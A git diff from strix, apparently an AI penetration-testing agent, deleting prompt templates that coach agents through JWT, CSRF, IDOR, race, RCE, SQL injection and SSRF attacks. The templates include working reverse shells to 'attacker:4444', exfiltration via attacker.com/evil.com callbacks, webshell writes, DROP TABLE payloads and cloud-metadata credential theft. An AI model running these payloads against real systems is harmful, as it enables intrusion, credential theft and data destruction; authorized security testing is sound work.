- description_parts.append(f"{category} ({modules_str})") - - description = ( - f"List of prompt modules to load for this agent (max 3). " - f"Available modules: {', '.join(description_parts)}. " - ) - - example_modules = [] - for modules in available_modules.values(): - example_modules.extend(modules[:2]) - if len(example_modules) >= 2: - break - - if example_modules: - example = f"Example: {example_modules[:2]} for specialized agent" - description += example - - return description - - -def load_prompt_modules(module_names: list[str], jinja_env: Environment) -> dict[str, str]: - import logging - - logger = logging.getLogger(__name__) - module_content = {} - prompts_dir = Path(__file__).parent - - available_modules = get_available_prompt_modules() - - for module_name in module_names: - try: - module_path = None - - if "/" in module_name: - module_path = f"{module_name}.jinja" - else: - for category, modules in available_modules.items(): - if module_name in modules: - module_path = f"{category}/{module_name}.jinja" - break - - if not module_path: - root_candidate = f"{module_name}.jinja" - if (prompts_dir / root_candidate).exists(): - module_path = root_candidate - - if module_path and (prompts_dir / module_path).exists(): - template = jinja_env.get_template(module_path) - var_name = module_name.split("/")[-1] - module_content[var_name] = template.render() - logger.info(f"Loaded prompt module: {module_name} -> {var_name}") - else: - logger.warning(f"Prompt module not found: {module_name}") - - except (FileNotFoundError, OSError, ValueError) as e: - logger.warning(f"Failed to load prompt module {module_name}: {e}") - - return module_content diff --git a/strix/prompts/coordination/root_agent.jinja b/strix/prompts/coordination/root_agent.jinja deleted file mode 100644 index 71288c31d..000000000 --- a/strix/prompts/coordination/root_agent.jinja +++ /dev/null @@ -1,41 +0,0 @@ - -You are a COORDINATION AGENT ONLY. You do NOT perform any security testing, vulnerability assessment, or technical work yourself. - -Your ONLY responsibilities: -1. Create specialized agents for specific security tasks -2. Monitor agent progress and coordinate between them -3. Compile final scan reports from agent findings -4. Manage agent communication and dependencies - -CRITICAL RESTRICTIONS: -- NEVER perform vulnerability testing or security assessments -- NEVER write detailed vulnerability reports (only compile final summaries) -- ONLY use agent_graph and finish tools for coordination -- You can create agents throughout the scan process, depending on the task and findings, not just at the beginning! - - - -BEFORE CREATING AGENTS: -1. Analyze the target scope and break into independent tasks -2. Check existing agents to avoid duplication -3. Create agents with clear, specific objectives to avoid duplication - -AGENT TYPES YOU CAN CREATE: -- Reconnaissance: subdomain enum, port scanning, tech identification, etc. -- Vulnerability Testing: SQL injection, XSS, auth bypass, IDOR, RCE, SSRF, etc. Can be black-box or white-box. - - Direct vulnerability testing agents to implement hierarchical workflow (per finding: discover, verify, report, fix): each one should create validation agents for findings verification, which spawn reporting agents for documentation, which create fix agents for remediation - -COORDINATION GUIDELINES: -- Ensure clear task boundaries and success criteria -- Terminate redundant agents when objectives overlap -- Use message passing for agent communication - - - -When all agents complete: -1. Collect findings from all agents -2. Compile a final scan summary report -3. Use finish tool to complete the assessment - -Your value is in orchestration, not execution. - diff --git a/strix/prompts/vulnerabilities/authentication_jwt.jinja b/strix/prompts/vulnerabilities/authentication_jwt.jinja deleted file mode 100644 index ce32f080a..000000000 --- a/strix/prompts/vulnerabilities/authentication_jwt.jinja +++ /dev/null @@ -1,129 +0,0 @@ - -AUTHENTICATION & JWT VULNERABILITIES - -Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere. - - -header.payload.signature -- Header: {"alg":"HS256","typ":"JWT"} -- Payload: {"sub":"1234","name":"John","iat":1516239022} -- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) - - - - -RS256 to HS256: -- Change RS256 to HS256 in header -- Use public key as HMAC secret -- Sign token with public key (often in /jwks.json or /.well-known/) - - - -- Set "alg": "none" in header -- Remove signature completely (keep the trailing dot) - - - -Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret' - - - -- SQL Injection: "kid": "key' UNION SELECT 'secret'--" -- Command injection: "kid": "|sleep 10" -- Path traversal: "kid": "../../../../../../dev/null" - - - - - -Embed public key in token header: -{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}} - - - -Set jku/x5u to attacker-controlled URL hosting malicious JWKS - - - -Extract signature byte-by-byte using verification timing differences - - - - - -- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution -- Missing/predictable state parameter = CSRF -- PKCE downgrade: remove code_challenge parameter - - - - -- Signature exclusion: remove signature element -- Signature wrapping: inject assertions -- XXE in SAML responses - - - -- Session fixation: force known session ID -- Session puzzling: mix different session objects -- Race conditions in session generation - - - -- Predictable tokens: MD5(timestamp), sequential numbers -- Host header injection for reset link poisoning -- Race condition resets - - - -- Response manipulation: change success:false to true -- Status code manipulation: 403 to 200 -- Brute force with no rate limiting -- Backup code abuse - - - - -Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic) - - - -- JWT + SQLi: kid parameter with SQL injection -- OAuth + XSS: steal tokens via XSS -- SAML + XXE + SSRF: chain for internal access - - - - -- jwt_tool: Comprehensive JWT testing -- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json - - - -To confirm authentication flaw: -1. Demonstrate account access without credentials -2. Show privilege escalation -3. Prove token forgery works -4. Bypass authentication/2FA requirements -5. Maintain persistent access - - - -NOT a vulnerability if: -- Requires valid credentials -- Only affects own session -- Proper signature validation -- Token expiration enforced -- Rate limiting prevents brute force - - - -- Account takeover: access other users' accounts -- Privilege escalation: user to admin -- Token forgery: create valid tokens -- Bypass mechanisms: skip auth/2FA -- Persistent access: survives logout - - -Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration. - diff --git a/strix/prompts/vulnerabilities/business_logic.jinja b/strix/prompts/vulnerabilities/business_logic.jinja deleted file mode 100644 index ac9115094..000000000 --- a/strix/prompts/vulnerabilities/business_logic.jinja +++ /dev/null @@ -1,143 +0,0 @@ - -BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION - -Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities. - - -- Map complete user journeys and state transitions -- Document developer assumptions -- Find edge cases in workflows -- Look for missing validation steps -- Identify trust boundaries - - - - -- Price manipulation (negative quantities, decimal truncation) -- Currency conversion abuse (buy weak, refund strong) -- Discount/coupon stacking -- Payment method switching after verification -- Cart manipulation during checkout - - - -- Registration race conditions (same email/username) -- Account type elevation -- Trial period extension -- Subscription downgrade with feature retention - - - -- Function-level bypass (accessing admin functions as user) -- Object reference manipulation -- Permission inheritance bugs -- Multi-tenancy isolation failures - - - - - -Use race conditions to: -- Double-spend vouchers/credits -- Bypass rate limits -- Create duplicate accounts -- Exploit TOCTOU vulnerabilities - - - -- Skip workflow steps -- Replay previous states -- Force invalid state transitions -- Manipulate hidden parameters - - - -- Type confusion: string where int expected -- Boundary values: 0, -1, MAX_INT -- Format abuse: scientific notation, Unicode -- Encoding tricks: double encoding, mixed encoding - - - - - -- Add items with negative price -- Modify prices client-side -- Apply expired coupons -- Stack incompatible discounts -- Change currency after price lock - - - -- Complete order before payment -- Partial payment acceptance -- Payment replay attacks -- Void after delivery -- Refund more than paid - - - -- Premium features in trial -- Account deletion bypasses -- Privilege retention after demotion -- Transfer restrictions bypass - - - - - -- Exceed account limits -- Bypass geographic restrictions -- Violate temporal constraints -- Break dependency chains - - - -- Parallel execution of exclusive processes -- Recursive operations (infinite loops) -- Asynchronous timing exploitation -- Callback manipulation - - - - -To confirm business logic flaw: -1. Demonstrate financial impact -2. Show consistent reproduction -3. Prove bypass of intended restrictions -4. Document assumption violation -5. Quantify potential damage - - - -NOT a business logic flaw if: -- Requires technical vulnerability (SQLi, XSS) -- Working as designed (bad design ≠ vulnerability) -- Only affects display/UI -- No security impact -- Requires privileged access - - - -- Financial loss (direct monetary impact) -- Unauthorized access to features/data -- Service disruption -- Compliance violations -- Reputation damage - - - -1. Think like a malicious user, not a developer -2. Question every assumption -3. Test boundary conditions obsessively -4. Combine multiple small issues -5. Focus on money flows -6. Check state machines thoroughly -7. Abuse features, don't break them -8. Document business impact clearly -9. Test integration points -10. Time is often a factor - exploit it - - -Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain. - diff --git a/strix/prompts/vulnerabilities/csrf.jinja b/strix/prompts/vulnerabilities/csrf.jinja deleted file mode 100644 index 993524282..000000000 --- a/strix/prompts/vulnerabilities/csrf.jinja +++ /dev/null @@ -1,168 +0,0 @@ - -CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION - -CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser. - - -- Password/email change forms -- Money transfer/payment functions -- Account deletion/deactivation -- Permission/role changes -- API key generation/regeneration -- OAuth connection/disconnection -- 2FA enable/disable -- Privacy settings modification -- Admin functions -- File uploads/deletions - - - - -Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN - -Check if tokens are: -- Actually validated (remove and test) -- Tied to user session -- Reusable across requests -- Present in GET requests -- Predictable or static - - - -- Test if POST endpoints accept GET -- Try method override headers: _method, X-HTTP-Method-Override -- Check if PUT/DELETE lack protection - - - - - -HTML form auto-submit: -
- - -
- -
- - -For JSON endpoints: -
- -
-
- - -For file uploads: -Use XMLHttpRequest with credentials -Generate multipart/form-data boundaries - -
- - - -- Null token: remove parameter entirely -- Empty token: csrf_token= -- Token from own account: use your valid token -- Token fixation: force known token value -- Method interchange: GET token used for POST - - - -- Referer bypass: use data: URI, about:blank -- Origin bypass: null origin via sandboxed iframe -- CORS misconfigurations - - - -- Change multipart to application/x-www-form-urlencoded -- Use text/plain for JSON endpoints -- Exploit parsers that accept multiple formats - - - - - -- XSS on subdomain = CSRF on main domain -- Cookie scope abuse (domain=.example.com) -- Subdomain takeover for CSRF - - - -- Force victim to login as attacker -- Plant backdoors in victim's account -- Access victim's future data - - - -- Force logout → login CSRF → account takeover - - - -If using double-submit cookies: -- Set cookie via XSS/subdomain -- Cookie injection via header injection -- Cookie tossing attacks - - - - - -- Cross-origin WebSocket hijacking -- Steal tokens from WebSocket messages - - - -- GET requests with query parameter -- Batched mutations -- Subscription abuse - - - -- Bearer tokens in URL parameters -- API keys in GET requests -- Insecure CORS policies - - - - -To confirm CSRF: -1. Create working proof-of-concept -2. Test across browsers -3. Verify action completes successfully -4. No user interaction required (beyond visiting page) -5. Works with active session - - - -NOT CSRF if: -- Requires valid CSRF token -- SameSite cookies properly configured -- Proper origin/referer validation -- User interaction required -- Only affects non-sensitive actions - - - -- Account takeover -- Financial loss -- Data modification/deletion -- Privilege escalation -- Privacy violations - - - -1. Check all state-changing operations -2. Test file upload endpoints -3. Look for token disclosure in URLs -4. Chain with XSS for token theft -5. Check mobile API endpoints -6. Test CORS configurations -7. Verify SameSite cookie settings -8. Look for method override possibilities -9. Test WebSocket endpoints -10. Document clear attack scenario - - -Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured. -
diff --git a/strix/prompts/vulnerabilities/idor.jinja b/strix/prompts/vulnerabilities/idor.jinja deleted file mode 100644 index 1271922fd..000000000 --- a/strix/prompts/vulnerabilities/idor.jinja +++ /dev/null @@ -1,164 +0,0 @@ - -INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES - -IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover. - - - -- Numeric IDs: user_id=123, account=456 -- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000 -- Encoded IDs: Base64, hex, custom encoding -- Composite IDs: user-org-123-456, ACCT:2024:00123 -- Hash-based IDs: Check if predictable (MD5 of sequential numbers) -- Object references in: URLs, POST bodies, headers, cookies, JWT tokens - - - -- Boundary values: 0, -1, null, empty string, max int -- Different formats: {"id":123} vs {"id":"123"} -- ID patterns: increment, decrement, similar patterns -- Wildcard testing: *, %, _, all -- Array notation: id[]=123&id[]=456 - - - - -- User profiles and PII -- Financial records/transactions -- Private messages/communications -- Medical records -- API keys/secrets -- Internal documents -- Admin functions -- Export endpoints -- Backup files -- Debug information - - - - -Simple increment/decrement: -/api/user/123 → /api/user/124 -/download?file=report_2024_01.pdf → report_2024_02.pdf - - - -Automate ID ranges: -for i in range(1, 10000): - /api/user/{i}/data - - - -- String where int expected: "123" vs 123 -- Array where single value expected: [123] vs 123 -- Object injection: {"id": {"$ne": null}} - - - - - -- Time-based UUIDs (version 1): predictable timestamps -- Weak randomness in version 4 -- Sequential UUID generation - - - -- Side channel: response time, size differences -- Error message variations -- Boolean-based: exists vs not exists - - - -First get list of IDs, then access: -/api/users → [123, 456, 789] -/api/user/789/private-data - - - - - -?id=123&id=456 (takes last or first?) -?user_id=victim&user_id=attacker - - - -- URL encode: %31%32%33 -- Double encoding: %25%33%31 -- Unicode: \u0031\u0032\u0033 - - - -userId vs userid vs USERID vs UserId - - - -/api/user.json?id=123 -/api/user.xml?id=123 -/api/user/123.json vs /api/user/123 - - - - - -Query batching and alias abuse: -query { u1: user(id: 123) { data } u2: user(id: 456) { data } } - - - -Subscribe to other users' channels: -{"subscribe": "user_456_notifications"} - - - -../../../other_user/private.pdf -/files/user_123/../../user_456/data.csv - - - - -- IDOR + XSS: Access and weaponize other users' data -- IDOR + CSRF: Force actions on discovered objects -- IDOR + SQLi: Extract all IDs then access - - - -To confirm IDOR: -1. Access data/function without authorization -2. Demonstrate data belongs to another user -3. Show consistent access pattern -4. Prove it's not intended functionality -5. Document security impact - - - -NOT IDOR if: -- Public data by design -- Proper authorization checks -- Only affects own resources -- Rate limiting prevents exploitation -- Data is sanitized/limited - - - -- Personal data exposure -- Financial information theft -- Account takeover -- Business data leak -- Compliance violations (GDPR, HIPAA) - - - -1. Test all ID parameters systematically -2. Look for patterns in IDs -3. Check export/download functions -4. Test different HTTP methods -5. Monitor for blind IDOR via timing -6. Check mobile APIs separately -7. Look for backup/debug endpoints -8. Test file path traversal -9. Automate enumeration carefully -10. Chain with other vulnerabilities - - -IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access. - diff --git a/strix/prompts/vulnerabilities/race_conditions.jinja b/strix/prompts/vulnerabilities/race_conditions.jinja deleted file mode 100644 index 6dba6134b..000000000 --- a/strix/prompts/vulnerabilities/race_conditions.jinja +++ /dev/null @@ -1,194 +0,0 @@ - -RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY - -Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating. - - -- Payment/checkout processes -- Coupon/discount redemption -- Account balance operations -- Voting/rating systems -- Limited resource allocation -- User registration (username claims) -- Password reset flows -- File upload/processing -- API rate limits -- Loyalty points/rewards -- Stock/inventory management -- Withdrawal functions - - - - -Multi-step processes with gaps between: -1. Check phase (validation/verification) -2. Use phase (action execution) -3. Write phase (state update) - -Look for: -- "Check balance then deduct" -- "Verify coupon then apply" -- "Check inventory then purchase" -- "Validate token then consume" - - - -- Parallel requests with same data -- Rapid sequential requests -- Monitor for inconsistent states -- Database transaction analysis -- Response timing variations - - - - - -Python script for Burp Suite Turbo Intruder: -```python -def queueRequests(target, wordlists): - engine = RequestEngine(endpoint=target.endpoint, - concurrentConnections=30, - requestsPerConnection=100, - pipeline=False) - - for i in range(30): - engine.queue(target.req, gate='race1') - - engine.openGate('race1') -``` - - - -- Browser developer tools (multiple tabs) -- curl with & for background: curl url & curl url & -- Python asyncio/aiohttp -- Go routines -- Node.js Promise.all() - - - - - -- Double withdrawal -- Multiple discount applications -- Balance transfer duplication -- Payment bypass -- Cashback multiplication - - - -- Multiple password resets -- Account creation with same email -- 2FA bypass -- Session generation collision - - - -- Inventory depletion bypass -- Rate limit circumvention -- File overwrite -- Token reuse - - - - - -HTTP/2 multiplexing for true simultaneous delivery: -- All requests in single TCP packet -- Microsecond precision -- Bypass even mutex locks - - - -Send all but last byte, then: -1. Hold connections open -2. Send final byte simultaneously -3. Achieve nanosecond precision - - - -Pre-establish connections: -1. Create connection pool -2. Prime with dummy requests -3. Send race requests on warm connections - - - - - -- Multiple source IPs -- Different user sessions -- Varied request headers -- Geographic distribution - - - -- Measure server processing time -- Align requests with server load -- Exploit maintenance windows -- Target async operations - - - - - -"Limited to 1 per user" → Send N parallel requests -Results: N successful purchases - - - -Transfer $100 from account with $100 balance: -- 10 parallel transfers -- Each checks balance: $100 available -- All proceed: -$900 balance - - - -Single vote limit: -- Send multiple vote requests simultaneously -- All pass validation -- Multiple votes counted - - - - -To confirm race condition: -1. Demonstrate parallel execution success -2. Show single request fails -3. Prove timing dependency -4. Document financial/security impact -5. Achieve consistent reproduction - - - -NOT a race condition if: -- Idempotent operations -- Proper locking mechanisms -- Atomic database operations -- Queue-based processing -- No security impact - - - -- Financial loss (double spending) -- Resource exhaustion -- Data corruption -- Business logic bypass -- Privilege escalation - - - -1. Use HTTP/2 for better synchronization -2. Automate with Turbo Intruder -3. Test payment flows extensively -4. Monitor database locks -5. Try different concurrency levels -6. Test async operations -7. Look for compensating transactions -8. Check mobile app endpoints -9. Test during high load -10. Document exact timing windows - - -Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable. - diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja deleted file mode 100644 index 166c07897..000000000 --- a/strix/prompts/vulnerabilities/rce.jinja +++ /dev/null @@ -1,222 +0,0 @@ - -REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION - -RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques. - - -- System commands: ping, nslookup, traceroute, whois -- File operations: upload, download, convert, resize -- PDF generators: wkhtmltopdf, phantomjs -- Image processors: ImageMagick, GraphicsMagick -- Media converters: ffmpeg, sox -- Archive handlers: tar, zip, 7z -- Version control: git, svn operations -- LDAP queries -- Database backup/restore -- Email sending functions - - - - -- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10) -- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 || -- PowerShell: ;Start-Sleep -s 10 # - - - -- nslookup $(whoami).attacker.com -- ping $(hostname).attacker.com -- curl http://$(cat /etc/passwd | base64).attacker.com - - - -- Direct: ;cat /etc/passwd -- Encoded: ;cat /etc/passwd | base64 -- Hex: ;xxd -p /etc/passwd - - - - - -; id -| id -|| id -& id -&& id -`id` -$(id) -${IFS}id - - - -- Space bypass: ${IFS}, $IFS$9, <, %09 (tab) -- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i -- Command substitution: $(a=c;b=at;$a$b /etc/passwd) -- Encoding: echo 'aWQ=' | base64 -d | sh -- Case variation: WhOaMi (Windows) - - - - - -- eval($_GET['cmd']) -- system(), exec(), shell_exec(), passthru() -- preg_replace with /e modifier -- assert() with string input -- unserialize() exploitation - - - -- eval(), exec() -- subprocess.call(shell=True) -- os.system() -- pickle deserialization -- yaml.load() - - - -- Runtime.getRuntime().exec() -- ProcessBuilder -- ScriptEngine eval -- JNDI injection -- Expression Language injection - - - -- eval() -- child_process.exec() -- vm.runInContext() -- require() pollution - - - - - -Works in multiple contexts: -;id;#' |id| #" |id| # -${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7} - - - -- DNS exfiltration: $(whoami).evil.com -- HTTP callbacks: curl evil.com/$(id) -- Time delays for boolean extraction -- Write to web root: echo '' > /var/www/shell.php - - - -1. Command injection → Write webshell -2. File upload → LFI → RCE -3. XXE → SSRF → internal RCE -4. SQLi → INTO OUTFILE → RCE - - - - - -push graphic-context -viewbox 0 0 640 480 -fill 'url(https://evil.com/image.jpg"|id > /tmp/output")' -pop graphic-context - - - -%!PS -/outfile (%pipe%id) (w) file def - - - -#EXTM3U -#EXT-X-TARGETDURATION:1 -#EXTINF:1.0, -concat:|file:///etc/passwd - - - -\immediate\write18{id > /tmp/pwn} -\input{|"cat /etc/passwd"} - - - - - -- Privileged containers: mount host filesystem -- Docker.sock exposure -- Kernel exploits -- /proc/self/exe overwrite - - - -- Service account tokens -- Kubelet API access -- Container breakout to node - - - - -- Unicode normalization -- Double URL encoding -- Case variation mixing -- Null bytes: %00 -- Comments: /**/i/**/d -- Alternative commands: hostname vs uname -n -- Path traversal: /usr/bin/id vs id - - - - -Bash: bash -i >& /dev/tcp/attacker/4444 0>&1 -Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' -Netcat: nc -e /bin/sh attacker 4444 -PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() - - - -- Cron jobs -- SSH keys -- Web shells -- Systemd services - - - - -To confirm RCE: -1. Execute unique command (id, hostname) -2. Demonstrate file system access -3. Show command output retrieval -4. Achieve reverse shell -5. Prove consistent execution - - - -NOT RCE if: -- Only crashes application -- Limited to specific commands -- Sandboxed/containerized properly -- No actual command execution -- Output not retrievable - - - -- Complete system compromise -- Data exfiltration -- Lateral movement -- Backdoor installation -- Service disruption - - - -1. Try all delimiters: ; | || & && -2. Test both Unix and Windows commands -3. Use time-based for blind confirmation -4. Chain with other vulnerabilities -5. Check sudo permissions post-exploit -6. Look for SUID binaries -7. Test command substitution variants -8. Monitor DNS for blind RCE -9. Try polyglot payloads first -10. Document full exploitation path - - -Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection. - diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja deleted file mode 100644 index 8311e75f4..000000000 --- a/strix/prompts/vulnerabilities/sql_injection.jinja +++ /dev/null @@ -1,216 +0,0 @@ - -SQL INJECTION - MASTER CLASS TECHNIQUES - -SQL Injection = direct database access = game over. - - -- URL parameters: ?id=1 -- POST body parameters -- HTTP headers: User-Agent, Referer, X-Forwarded-For -- Cookie values -- JSON/XML payloads -- File upload names -- Session identifiers - - - -- Time-based: ' AND SLEEP(5)-- -- Boolean-based: ' AND '1'='1 vs ' AND '1'='2 -- Error-based: ' (provoke verbose errors) -- Out-of-band: DNS/HTTP callbacks -- Differential response: content length changes -- Second-order: stored and triggered later - - - -- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END) -- GROUP BY: GROUP BY id HAVING 1=1-- -- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))-- -- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1 -- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1)) - - - - -' UNION SELECT null-- -' UNION SELECT null,null-- -' UNION SELECT 1,2,3-- -' UNION SELECT 1,@@version,3-- -' UNION ALL SELECT 1,database(),3-- - - - -' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - - - -' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -' AND ASCII(SUBSTRING((SELECT database()),1,1))>97-- -' AND (SELECT COUNT(*) FROM users)>5-- - - - -' AND IF(1=1,SLEEP(5),0)-- -' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -'; WAITFOR DELAY '0:0:5'-- (MSSQL) -'; SELECT pg_sleep(5)-- (PostgreSQL) - - - - - -'; DROP TABLE users-- -'; INSERT INTO admins VALUES ('hacker','password')-- -'; UPDATE users SET password='hacked' WHERE username='admin'-- - - - -MySQL: -' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))-- -' UNION SELECT LOAD_FILE('/etc/passwd')-- - -MSSQL: -'; EXEC xp_dirtree '\\attacker.com\share'-- -'; EXEC xp_cmdshell 'nslookup attacker.com'-- - -PostgreSQL: -'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')-- - - - -MySQL: -' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- -' UNION SELECT 1,2,'' INTO OUTFILE '/var/www/shell.php'-- - -MSSQL: -'; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- - -PostgreSQL: -'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'-- - - - - - -- Comments: /**/ -- Parentheses: UNION(SELECT) -- Backticks: UNION`SELECT` -- Newlines: %0A, %0D -- Tabs: %09 - - - -- Case variation: UnIoN SeLeCt -- Comments: UN/**/ION SE/**/LECT -- Encoding: %55nion %53elect -- Double words: UNUNIONION SESELECTLECT - - - -- HTTP Parameter Pollution: id=1&id=' UNION SELECT -- JSON/XML format switching -- Chunked encoding -- Unicode normalization -- Scientific notation: 1e0 UNION SELECT - - - - - -- Version: @@version -- Database: database() -- User: user(), current_user() -- Tables: information_schema.tables -- Columns: information_schema.columns - - - -- Version: @@version -- Database: db_name() -- User: user_name(), system_user -- Tables: sysobjects WHERE xtype='U' -- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE - - - -- Version: version() -- Database: current_database() -- User: current_user -- Tables: pg_tables -- Command execution: CREATE EXTENSION - - - -- Version: SELECT banner FROM v$version -- Database: SELECT ora_database_name FROM dual -- User: SELECT user FROM dual -- Tables: all_tables - - - - - -{"username": {"$ne": null}, "password": {"$ne": null}} -{"$where": "this.username == 'admin'"} -{"username": {"$regex": "^admin"}} - - - -{users(where:{OR:[{id:1},{id:2}]}){id,password}} -{__schema{types{name,fields{name}}}} - - - - -SQLMap flags: -- Risk/Level: --risk=3 --level=5 -- Bypass WAF: --tamper=space2comment,between -- OS Shell: --os-shell -- Database dump: --dump-all -- Specific technique: --technique=T (time-based) - - - -To confirm SQL injection: -1. Demonstrate database version extraction -2. Show database/table enumeration -3. Extract actual data -4. Prove query manipulation -5. Document consistent exploitation - - - -NOT SQLi if: -- Only generic errors -- No time delays work -- Same response for all payloads -- Parameterized queries properly used -- Input validation effective - - - -- Database content theft -- Authentication bypass -- Data manipulation -- Command execution (xp_cmdshell) -- File system access -- Complete database takeover - - - -1. Always try UNION SELECT first -2. Use sqlmap for automation -3. Test all HTTP headers -4. Try different encodings -5. Check for second-order SQLi -6. Test JSON/XML parameters -7. Look for error messages -8. Try time-based for blind -9. Check INSERT/UPDATE contexts -10. Focus on data extraction - - -Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does. - diff --git a/strix/prompts/vulnerabilities/ssrf.jinja b/strix/prompts/vulnerabilities/ssrf.jinja deleted file mode 100644 index a57d67897..000000000 --- a/strix/prompts/vulnerabilities/ssrf.jinja +++ /dev/null @@ -1,168 +0,0 @@ - -SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION - -SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise. - - -- URL parameters: url=, link=, path=, src=, href=, uri= -- File import/export features -- Webhooks and callbacks -- PDF generators (wkhtmltopdf) -- Image processing (ImageMagick) -- Document parsers -- Payment gateways (IPN callbacks) -- Social media card generators -- URL shorteners/expanders - - - -- Referer headers in analytics -- Link preview generation -- RSS/Feed fetchers -- Repository cloning (Git/SVN) -- Package managers (npm, pip) -- Calendar invites (ICS files) -- OAuth redirect_uri -- SAML endpoints -- GraphQL field resolvers - - - - -Legacy: http://169.254.169.254/latest/meta-data/ -IMDSv2: Requires token but check if app proxies headers -Key targets: /iam/security-credentials/, /user-data/ - - - -http://metadata.google.internal/computeMetadata/v1/ -Requires: Metadata-Flavor: Google header -Target: /instance/service-accounts/default/token - - - -http://169.254.169.254/metadata/instance?api-version=2021-02-01 -Requires: Metadata: true header -OAuth: /metadata/identity/oauth2/token - - - - - -Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017 - - - -- Elasticsearch: http://localhost:9200/_cat/indices -- Redis: dict://localhost:6379/INFO -- MongoDB: http://localhost:27017/test -- Docker: http://localhost:2375/v1.24/containers/json -- Kubernetes: https://kubernetes.default.svc/api/v1/ - - - - - -Redis RCE, SMTP injection, FastCGI exploitation - - - -file:///etc/passwd, file:///proc/self/environ - - - -dict://localhost:11211/stat (Memcached) - - - - - -First request → your server, second → 127.0.0.1 - - - -- Decimal IP: http://2130706433/ (127.0.0.1) -- Octal: http://0177.0.0.1/ -- Hex: http://0x7f.0x0.0x0.0x1/ -- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/ - - - -- Authority: http://expected@evil/ -- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/ - - - -302 → yourserver.com → 169.254.169.254 - - - - - -- DNS exfiltration: http://$(hostname).attacker.com/ -- Timing attacks for network mapping -- Error-based detection - - - -- Redis: gopher://localhost:6379/ (cron injection) -- Memcached: gopher://localhost:11211/ -- FastCGI: gopher://localhost:9000/ - - - - - -127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me - - - -http://evil.com#@good.com/, http:evil.com - - - -dict://, gopher://, ftp://, file://, jar://, netdoc:// - - - - -To confirm SSRF: -1. External callbacks (DNS/HTTP) -2. Internal network access (different responses) -3. Time-based detection (timeouts) -4. Cloud metadata retrieval -5. Protocol differentiation - - - -NOT SSRF if: -- Only 